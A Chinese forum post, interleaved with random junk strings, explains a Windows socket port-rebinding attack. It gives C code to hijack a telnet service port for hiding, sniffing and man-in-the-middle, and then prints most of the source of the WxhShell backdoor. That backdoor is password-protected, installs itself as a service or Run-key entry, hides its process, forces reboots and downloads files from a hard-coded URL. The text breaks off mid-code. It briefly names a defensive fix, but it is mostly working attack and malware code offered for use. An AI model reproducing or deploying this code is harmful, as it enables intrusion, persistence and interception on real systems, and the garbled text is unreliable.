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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: slaH2}$xR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W&v|-#7=6  
o{3>n" \w3  
  saddr.sin_family = AF_INET; 0wt4C% .0  
~-#Jcw$+n=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9-!GYa'Z  
ZE9.r`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yB|1?L#  
85lcd4&~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 biENRJQ.  
=yWdtBng  
  这意味着什么?意味着可以进行如下的攻击: +G)a+r'0Q  
^Hz1z_[X@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lN x7$z`  
vsJDVJ +=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <`WcI`IA b  
d>V#?1$h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F?t;bV  
 3Hi8=*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6FY.kN\  
lIPz "  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EI496bsRHm  
jZ''0Lclpc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /0Mt-8[  
yW&ka3j\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [Y.=bfV!  
""*g\  
  #include ,c&gw tdl  
  #include ^I) +u>fJ  
  #include ^0-e.@  
  #include    {W HK|l   
  DWORD WINAPI ClientThread(LPVOID lpParam);   dWdD^>8Ef  
  int main() r1 b"ta  
  { 45&Rl,2  
  WORD wVersionRequested; {C0Y8:"`  
  DWORD ret; [&kz4_  
  WSADATA wsaData; d4p6.3  
  BOOL val; v-wZHkdd1  
  SOCKADDR_IN saddr; }}Z2@}  
  SOCKADDR_IN scaddr; 6"; ITU^v  
  int err; mF4y0r0  
  SOCKET s; .A0fI";Q  
  SOCKET sc; $9@AwS@Uu  
  int caddsize; txE+A/>i9  
  HANDLE mt; :(@P *"j  
  DWORD tid;   )_Z^oH ]<  
  wVersionRequested = MAKEWORD( 2, 2 ); VfozqUf  
  err = WSAStartup( wVersionRequested, &wsaData ); '8[; m_S  
  if ( err != 0 ) { Tgh?=]H  
  printf("error!WSAStartup failed!\n"); -hc8IS  
  return -1; v0?SN>fZ  
  } vmh>|N4a7  
  saddr.sin_family = AF_INET; 3gnO)"$  
   RC?vU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nLx|$=W  
6OoOkNWF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6b9J3~d\E  
  saddr.sin_port = htons(23); a$Hq<~46  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~+ 9v z  
  { * eX/Z Cn  
  printf("error!socket failed!\n"); M&)\PbMc  
  return -1; _EJPI  
  } 3_`)QYU'  
  val = TRUE; .(3ec/i4CF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T#wG]DH;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vPc*x5w-  
  { E^Q J50  
  printf("error!setsockopt failed!\n"); q^?a|l  
  return -1; Qqx!'fft  
  } _GrifGU\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :wG )  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p_X{'=SQ1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m)3M)8t  
i,S1|R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xaVn.&Wl  
  { r?!:%L  
  ret=GetLastError(); BC\W`K  
  printf("error!bind failed!\n"); "eqzn KT%u  
  return -1; SN]g4}K-  
  } ('AAHq/  
  listen(s,2); HUAYtUBH  
  while(1) k61mRO  
  { ZhoV,/\+  
  caddsize = sizeof(scaddr); jU* D  
  //接受连接请求 ?5/7 @V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /sj*@HF=  
  if(sc!=INVALID_SOCKET) Cs y,3XG  
  { IN.g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q J-|zS.W  
  if(mt==NULL) ^9 ]iUx  
  { U^7bj  
  printf("Thread Creat Failed!\n"); <i]0EE}%  
  break; s]|tKQGl,  
  } 79D~Mau#  
  } qDYNY`  
  CloseHandle(mt); 1U/RMN3`  
  } )RT?/NW  
  closesocket(s); ([}08OW@  
  WSACleanup(); 9[;da  
  return 0; }WaZ+Mdg\  
  }   9t6c*|60#n  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9x|`XAB  
  { C#^y{q  
  SOCKET ss = (SOCKET)lpParam; jT}={[9b  
  SOCKET sc; MtaGv#mJ  
  unsigned char buf[4096]; ^m&I^ \  
  SOCKADDR_IN saddr; yj#*H  
  long num; miu?X!  
  DWORD val; }z$_!)/i  
  DWORD ret; dR;N3KwY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #o7)eKeQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cjJfxD&q  
  saddr.sin_family = AF_INET; +ima$a0Zyt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *YL86R+U  
  saddr.sin_port = htons(23); '4<o&b^yQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %ut 8/T  
  { |R _rfJh  
  printf("error!socket failed!\n"); Tjq1[Wq  
  return -1; 3Ovx)qKxd  
  } ,[zSz8R  
  val = 100; T!ZjgCY}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  WZY+c  
  { (RV#piM  
  ret = GetLastError(); >}%#s`3W1_  
  return -1; A[ncwJ  
  } jC4>%!{m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lwrh4<~\,*  
  { r)>3YM5  
  ret = GetLastError(); B^r?N-Z A  
  return -1; ;?tH8jf>  
  } K) fKL   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {H)hoAenA  
  { {+=hYB|&  
  printf("error!socket connect failed!\n"); P.C?/7$7Z+  
  closesocket(sc); |Z{#DOT  
  closesocket(ss); ?d^6ynzn  
  return -1; \X _}\_c,d  
  } _uLpU4# ?  
  while(1) BDvkY  
  { vI0,6fOd6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `Wg"m~l$N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]oVP_ &E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6QCV i  
  num = recv(ss,buf,4096,0); W"\}##  
  if(num>0) 6j XDLI  
  send(sc,buf,num,0); 'z AvQm  
  else if(num==0) =eUKpYI  
  break; 5X=1a*2']  
  num = recv(sc,buf,4096,0); Zk((VZ(y  
  if(num>0) R20 .dA_N  
  send(ss,buf,num,0); I`X!M!dB)  
  else if(num==0) BVNJas  
  break; dGm%If9P  
  } ,v K%e>e&  
  closesocket(ss); {VW\EOPV~  
  closesocket(sc); Pz{MYw  
  return 0 ; 4KtD  k  
  } oI/_WY[t  
][jwy-Uy;  
5\C(2naf  
========================================================== P dqvXc  
G=|?aK{p  
下边附上一个代码,,WXhSHELL 1F,U^O  
Ig}hap]G  
========================================================== 5=I({=/>  
e'A_4;~@s  
#include "stdafx.h" BInSS*L  
Lv['/!DJ|  
#include <stdio.h> [|oG}'Xz  
#include <string.h> 1C{0 R.  
#include <windows.h> C/Tk`C&  
#include <winsock2.h> N=Ct3  
#include <winsvc.h> QUn!& 55  
#include <urlmon.h> 6E-eD\?I&  
JCn HEH  
#pragma comment (lib, "Ws2_32.lib") O}zHkcL  
#pragma comment (lib, "urlmon.lib") o #\L4P(J  
~*/ >8R(Y  
#define MAX_USER   100 // 最大客户端连接数 @i!+Z  
#define BUF_SOCK   200 // sock buffer <Y7j'n  
#define KEY_BUFF   255 // 输入 buffer /~u^@@.  
+bLP+]7oZ  
#define REBOOT     0   // 重启 )VkVZf | S  
#define SHUTDOWN   1   // 关机 6Q7=6  
nt$P A(Y  
#define DEF_PORT   5000 // 监听端口 En9J7es_  
X-(( [A  
#define REG_LEN     16   // 注册表键长度 81x/ bx@L%  
#define SVC_LEN     80   // NT服务名长度 >^Wpc  
>W] Wc4 \  
// 从dll定义API F\xIVY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S1Y,5,}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <Hr<QiAK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F$tzsz,9n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nuot[1kS  
;&=CZ6vH  
// wxhshell配置信息 }.)R#hG?  
struct WSCFG { >8I~i:hn  
  int ws_port;         // 监听端口 3]?='Qq.(  
  char ws_passstr[REG_LEN]; // 口令 z0 /+P  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z40k>t D  
  char ws_regname[REG_LEN]; // 注册表键名 nc:/GxP  
  char ws_svcname[REG_LEN]; // 服务名 g4=1['wW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t;VMtIW+E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c=\_[G(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wi7Br&bGi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #~-Xt! I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f|B\Y/*X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xydx87L/-e  
/!5ohQlPJ  
}; PWl;pBo  
Lm=EN%*#9  
// default Wxhshell configuration ]^>Inh!  
struct WSCFG wscfg={DEF_PORT, #BP0MY&  
    "xuhuanlingzhe", 2WH(c$6PWf  
    1, f\= @jV  
    "Wxhshell", }EwE#sZ#  
    "Wxhshell", l hYJectJa  
            "WxhShell Service", Al*=%nY  
    "Wrsky Windows CmdShell Service", j1g$LAe  
    "Please Input Your Password: ", 4bGvkxZo`$  
  1, YU-wE';H6  
  "http://www.wrsky.com/wxhshell.exe", z_xy*Iif  
  "Wxhshell.exe" /} PdO  
    }; 6jc5B#  
b}Gm{;s!  
// 消息定义模块 L]z8'n,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YT!iI   
char *msg_ws_prompt="\n\r? for help\n\r#>"; @-S7)h>~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :2c(.-[`  
char *msg_ws_ext="\n\rExit."; 6/L[`n"G  
char *msg_ws_end="\n\rQuit."; :j3'+% '2  
char *msg_ws_boot="\n\rReboot..."; IrCl\HQN  
char *msg_ws_poff="\n\rShutdown..."; =@4 ,szLO  
char *msg_ws_down="\n\rSave to "; _@XueNU1hS  
)?SFIQ=  
char *msg_ws_err="\n\rErr!"; q!0HsF  
char *msg_ws_ok="\n\rOK!"; ;hq_}.  
n]#YL4j  
char ExeFile[MAX_PATH]; nw/g[/<;  
int nUser = 0; Zc_F"KJL  
HANDLE handles[MAX_USER]; 6/wC StZ  
int OsIsNt; oe^JDb#  
n Yx[9HN  
SERVICE_STATUS       serviceStatus; `Z>=5:+G@2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F%y#)53g  
:* |WE29U  
// 函数声明 ]Whv%  
int Install(void); ;U?=YSHk7  
int Uninstall(void); W#g!Usf:/  
int DownloadFile(char *sURL, SOCKET wsh); I_8 n>\u  
int Boot(int flag); }o!b3*#  
void HideProc(void); WP\kg\o  
int GetOsVer(void); j7g>r/1eE  
int Wxhshell(SOCKET wsl); ^^ix4[1$Z  
void TalkWithClient(void *cs); J#wf`VR%  
int CmdShell(SOCKET sock); ,|$1(z*a{c  
int StartFromService(void); 9s5s;ntz"  
int StartWxhshell(LPSTR lpCmdLine); ck `td%  
YR\(*LJL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [AFR \{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xmmj.ZUr  
x4kQGe(  
// 数据结构和表定义 )UU`uzU;u  
SERVICE_TABLE_ENTRY DispatchTable[] = B=W#eu <1  
{ 3'L =S  
{wscfg.ws_svcname, NTServiceMain}, :dipk,b?n  
{NULL, NULL} mm#UaEp  
}; |4/rVj"  
 rwSR  
// 自我安装 P*;[&Nn4  
int Install(void) 9wfE^E1  
{ w8q 2f-K-  
  char svExeFile[MAX_PATH]; F# 9^RA)9  
  HKEY key; ZGh6- /  
  strcpy(svExeFile,ExeFile); ;>ml@@Z  
b (H J|  
// 如果是win9x系统,修改注册表设为自启动 wG s'qL"z  
if(!OsIsNt) { _M8'~$Sg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EVqqOp1$v4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); au=@]n#<(  
  RegCloseKey(key); W^HE1Dt]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a|y'-r90  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #G(ivRo  
  RegCloseKey(key); E Y !o#m  
  return 0;  l2M(  
    } u"7!EhX&  
  } L^C B#5uG  
} 5>S1lyam  
else { ^ux'-/  
L"1AC&~ u  
// 如果是NT以上系统,安装为系统服务 =`(W^&|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "u sPzp5  
if (schSCManager!=0) >f&L7@  
{ ;=P!fvHk  
  SC_HANDLE schService = CreateService D{d%*hlI 3  
  ( t&JOASYC  
  schSCManager, d7X7_  
  wscfg.ws_svcname, mg._c  
  wscfg.ws_svcdisp, PS!or!m  
  SERVICE_ALL_ACCESS, (8ct'Q;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PVxu8n  
  SERVICE_AUTO_START, ~S~+'V,d  
  SERVICE_ERROR_NORMAL, @v&P;=lU  
  svExeFile, w?*79 u  
  NULL, 4k{xo~+%,  
  NULL, Xep2 )3k>  
  NULL, 2Gj)fMK38  
  NULL, 4,YL15.  
  NULL R$dNdd9m  
  ); *e:I*L  
  if (schService!=0) Fku<|1}&y  
  { 7NOF^/nU  
  CloseServiceHandle(schService); WCqa[=v)t  
  CloseServiceHandle(schSCManager); qM3NQ8Rm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !%(kMN  
  strcat(svExeFile,wscfg.ws_svcname); 9RS viIi$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EcytNYn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I%Z=O=  
  RegCloseKey(key); b!J?>du  
  return 0; i& \ >/ 1  
    } inq {" 6  
  } eq"Xwq*  
  CloseServiceHandle(schSCManager); vqoK9  
} 8ZjRMr}  
} }{PG^Fc<P  
iM1E**WCtv  
return 1; f*xv#G  
} KT(v'KE 1  
e^;:iJS  
// 自我卸载 fpO2bD%$8  
int Uninstall(void) lc [)Ev  
{ %ib7)8Ki0  
  HKEY key; z wwJyy%/  
#Rs5W  
if(!OsIsNt) { 5K&A2zC|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T~ XKV`LQ  
  RegDeleteValue(key,wscfg.ws_regname); 3)e{{]6  
  RegCloseKey(key); kQ2WdpZ/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <dXeP/1w`  
  RegDeleteValue(key,wscfg.ws_regname); I+3=|Ve f  
  RegCloseKey(key); fX\y/C  
  return 0; qv:DpK  
  } o7PS1qcya<  
} j}J=ZLr/V"  
} _ q>|pt.W  
else { |h/{ qpsu  
K0I.3| 6C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >s.y1Vg~C  
if (schSCManager!=0) CZy3]O"qW  
{ g{>0Pa 1?C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .Tw:Y,G  
  if (schService!=0) V`c,U7[/  
  { Ut/%+r"s  
  if(DeleteService(schService)!=0) { y La E]  
  CloseServiceHandle(schService); y G mFi  
  CloseServiceHandle(schSCManager); Jko=E   
  return 0;  Bw+ ?MdS  
  } :7Uv)@iUk  
  CloseServiceHandle(schService); '<e$ c  
  } {+5Ud#\y  
  CloseServiceHandle(schSCManager); Q_0_6,Opb  
} 23'<R i  
} _2<UcC~  
4Xwb`?}-  
return 1; nHZhP4W  
} Q TN24 q4  
#_IuB) qy  
// 从指定url下载文件 { +Wknm%  
int DownloadFile(char *sURL, SOCKET wsh) oxI?7dy5  
{ ]vV)$xMX  
  HRESULT hr; Q$k#q<+0  
char seps[]= "/"; B o%Sl  
char *token; SY@;u<Pd   
char *file; jlqSw4_  
char myURL[MAX_PATH]; MIiBNNURX  
char myFILE[MAX_PATH]; 'X4)2iFV  
Oi@|4mo  
strcpy(myURL,sURL); 7@k3-?q  
  token=strtok(myURL,seps); +nB0O/m'U  
  while(token!=NULL) RHbbj}B  
  { ;v.J D7  
    file=token; r%$\Na''  
  token=strtok(NULL,seps);  #3RElI  
  } (WY9EJ<s,  
v:w^$]4  
GetCurrentDirectory(MAX_PATH,myFILE); NMC0y|G  
strcat(myFILE, "\\"); V_n tS& 2o  
strcat(myFILE, file); 5'`DrTOA  
  send(wsh,myFILE,strlen(myFILE),0); Nm-E4N#'i  
send(wsh,"...",3,0); 0;OZ|;Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~Dw% d;  
  if(hr==S_OK) n\BV*AH  
return 0; */@I$*  
else XJwgh y?(  
return 1; xh25 *y  
Z>X]'q03  
} ]F;1l3I-  
\F+".X#jh  
// 系统电源模块 Ul 85-p  
int Boot(int flag) /L|x3RHs  
{ TT#V'r\  
  HANDLE hToken; 376z~  
  TOKEN_PRIVILEGES tkp; lh XD9ed  
Tfv @oPu  
  if(OsIsNt) { &%(SkL_]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~,8#\]xR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q@ wX=  
    tkp.PrivilegeCount = 1; kK:Wr&X0H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &t!f dti  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tuY= )?  
if(flag==REBOOT) { Qs8yJH`v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) & \"cV0  
  return 0; WYcZD_  
} (hKjr1s  
else { jzWgyI1b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M[-/&;`f@  
  return 0; bB*cd!7y  
} uG YH4  
  } OI6m>XH?  
  else { t!B,%,Dp  
if(flag==REBOOT) { J'WOqAnPZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1r*@1y<0"  
  return 0; @,W5K$Ka=  
} axN\ZXU  
else { 5EECr \*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,*m|Lt%;R  
  return 0; hyhm{RC?[  
} Y&DoA0/y  
} { qCFd  
J 5xZL v  
return 1; :1]J{,VG  
} zpzxCzU  
>>8{N)c5E  
// win9x进程隐藏模块 ,,ML^ey  
void HideProc(void) ;Qc^xIPy  
{ j;-2)ZLm  
,<s:* k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wk1/&  
  if ( hKernel != NULL ) ,;<M+V3+  
  { z 8#{=e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U % ?+N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]A1'+!1$  
    FreeLibrary(hKernel); &78lep  
  } ?t/\ ID  
J?hs\nA  
return; j^h:*rw  
} 7E5 =Qx  
d-8{}Q  
// 获取操作系统版本 "x 3C3Zu.;  
int GetOsVer(void) = U[$i"+  
{ \zOsq5}  
  OSVERSIONINFO winfo; - "{hP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J\ J3 'u  
  GetVersionEx(&winfo); z$M-UxY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9eR";Wm])  
  return 1; 'rVB2 `z-  
  else Id8e%)  
  return 0; DwWm(8&6;}  
} *V[I&dKq  
HLL=.: P  
// 客户端句柄模块 pkTVQdtRG  
int Wxhshell(SOCKET wsl) b%d,X-3  
{ `v'yGsIV  
  SOCKET wsh; lc]cs D  
  struct sockaddr_in client; @iBmOt>3  
  DWORD myID; g(G$*#}o8A  
SN[ar&I  
  while(nUser<MAX_USER) 'Axe:8LA'  
{ t5P8?q\  
  int nSize=sizeof(client); f6PYB&<1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J.O{+{&cd  
  if(wsh==INVALID_SOCKET) return 1; KJs`[,;<  
Kb'4W-&u!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bHXoZix  
if(handles[nUser]==0)  w U1[/  
  closesocket(wsh); XK;Vu#E*^  
else Mh{;1$j#  
  nUser++; i 8%@4U/ J  
  } sI{?4k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :% +9y @%  
V=YDqof  
  return 0; gN*b~&G  
} {xICR ~,*  
l j+p}dt  
// 关闭 socket m9\~dD  
void CloseIt(SOCKET wsh) f>&*%[fw  
{ .LbAR u  
closesocket(wsh); abS3hf  
nUser--; !JVv`YN  
ExitThread(0); F'JT7# eX  
} 8I<j"6`+Q  
A.RG8"  
// 客户端请求句柄 0r?]b*IEK  
void TalkWithClient(void *cs) I$XwM  
{ Tl+PRR6D*  
`P$X`;SwE  
  SOCKET wsh=(SOCKET)cs; Fzn !  
  char pwd[SVC_LEN]; 0<^Q j.(9  
  char cmd[KEY_BUFF]; Vo|[Z)MO`  
char chr[1]; !Y/S2J  
int i,j; APCE }%1U  
4ti,R'  
  while (nUser < MAX_USER) { U r8JG&,  
k?1e + \  
if(wscfg.ws_passstr) { y'z9Ya  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kxmsrQ>av  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tJGK9!MH{(  
  //ZeroMemory(pwd,KEY_BUFF); {s6hi#R>  
      i=0; }%^3  
  while(i<SVC_LEN) { c6iFha;db  
^g.H JQ'vF  
  // 设置超时 [@]i_L[  
  fd_set FdRead; L=WKqRa>4  
  struct timeval TimeOut; >X5RRSo  
  FD_ZERO(&FdRead); @4Q /J$  
  FD_SET(wsh,&FdRead); _ D"S  
  TimeOut.tv_sec=8; (nYGN$qC9  
  TimeOut.tv_usec=0; xU(b:D Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $+,kibk*R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y I[kaH"J  
9! yDZ<s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BL-7r=Z  
  pwd=chr[0]; k7(lwEgNG  
  if(chr[0]==0xd || chr[0]==0xa) { k,ezB+  
  pwd=0; Qv)DSl  
  break; + +Eu.W;&#  
  } ME.!l6lm\  
  i++; Qtt3;5m  
    } 9V;A +d,  
E 0@u|  
  // 如果是非法用户,关闭 socket ]Y$jc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m';4`Y5-  
} *Xn6yL9  
H|'n|\{lt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y^XZ.R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O:8Ne*L`D  
=NWzsRl,  
while(1) { G-#rWZ&  
;qcOcm%  
  ZeroMemory(cmd,KEY_BUFF); jHV) TBr  
dl6Ju  
      // 自动支持客户端 telnet标准   6QNZ/Ox:  
  j=0; 4E$d"D5]>p  
  while(j<KEY_BUFF) { t Q.%f:|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HHOqJb{8S  
  cmd[j]=chr[0]; AXv-%k};  
  if(chr[0]==0xa || chr[0]==0xd) { e488}h6#m  
  cmd[j]=0; '<O.J(N~4!  
  break; UlPGB2B  
  } } V"A;5j`  
  j++; $8Z4jo  
    } klTRuU(  
cqcH1aSv  
  // 下载文件 '>Thn{  
  if(strstr(cmd,"http://")) { o?I`n*u"X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8:Dkf v  
  if(DownloadFile(cmd,wsh)) J?1Eh14KZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *|gl1S  
  else P~PM$e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (%9J( 4  
  } zKh<zj  
  else { ViUx^e\  
}n +MVJ;dG  
    switch(cmd[0]) { (@bq@0g  
  QoMa+QTuc  
  // 帮助 9Fg:   
  case '?': { .Y }k@T40a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +6L.a3&(b  
    break; 7Q~$&G  
  } *9`k$'  
  // 安装 3~LNz8Z*  
  case 'i': { G)gb5VW k  
    if(Install()) -oY8]HrXfK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cmY `$=  
    else hb>uHUb&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m]}EVa_I`/  
    break; pezfB{x?  
    } {J/+KK  
  // 卸载 7'ws: #pC  
  case 'r': { }}Gkipp  
    if(Uninstall()) '"h}l`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _<?z-K_;I  
    else T ^ #1T$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L:.Rv0XT  
    break; {yMkd4v  
    } "S>VqvH3  
  // 显示 wxhshell 所在路径 fe}RmnAC  
  case 'p': { "kKIv|`  
    char svExeFile[MAX_PATH]; LCb0Kq}*/(  
    strcpy(svExeFile,"\n\r"); c]|Tg9AW  
      strcat(svExeFile,ExeFile); g9IIC5  
        send(wsh,svExeFile,strlen(svExeFile),0); sGa "  
    break; Vq^b_^  
    } yP34h*0B  
  // 重启 v7@ *dg  
  case 'b': { ciW;sK8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MYVb !  
    if(Boot(REBOOT)) OK z5;#S=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WY26Iq@C  
    else { SzG?m]  
    closesocket(wsh); &0{&4,  
    ExitThread(0); ~W3t(\B'  
    } I,r0K]  
    break; .fK~IKA  
    } "po;[ Ia2  
  // 关机 \#gguq?[  
  case 'd': { msOE#QL6a  
